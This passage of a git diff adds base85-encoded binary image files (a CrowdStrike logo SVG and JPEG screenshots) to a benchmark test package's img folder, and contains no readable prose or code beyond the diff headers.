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 UE4paNI94>T=v^*Wz4`Ee037)twEzGB literal 0 HcmV?d00001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg new file mode 100644 index 0000000000..edf569559f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg @@ -0,0 +1 @@ + diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg b/test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b74edfe2293f9339b63095c38f58f7692d52fdef GIT binary patch literal 399141 zcmeFZcT^PJ(l^?}kfY=z89|AXku)NbL?j9V!jNIeImo~$3J3@YC@IZDn^ za?S!GAOi{vFfh0A3Fmz0TlcQ_{qDQg{o_6xclWP%*REYvy?eTLRk!#F`~q<9hK9BV z0D%C&Q}7SKF9P?~gAk4YpsNcA0RTV>5JBhwD2O279{^zkh<;-LxB+4R8yi9{{z*ds z08t2l@J||ZaDP@n&S$;<+!MSe_=|#y`!)10OpG}r#V?ZaIQ#i|DTs@E_=?%sd)hjP z*?GE)2ibUuONd<-2b5qzUN&~F4u0IW4o(OUW!~-D23~H2y)v(DHByLtF31S#|WX08C@vu1H#?%yPSuFAZ3 zboIH_JbfIvWyGY#F7txDee4|-46kea*%v%g=KWL1z`#JUKq)a#A185%D_5?FUzQY? zloSOiM16xj{A_|mJ$(88;&9!;*Uksw<%jU};6CGMW9#Yfr_9SM4vrxH=MZP`Z&_8i z|0(}i;2#V8V}XAx@Q(%lvB3ZTEbuRH$H4=1aRNbK2EcCt^7_u6exAP0o?hHiVwVB= zYudVmXHFMbe&Y+j;kglxCzA<43E}#EvKO1!Yhm~$nvdFQYH)o+Jq_)f>c9OynpZYn zUTy^E0KnbD&&N>n8uuMDb8eEapu=`gYA5QeqLwzE{GX?KmkGQ 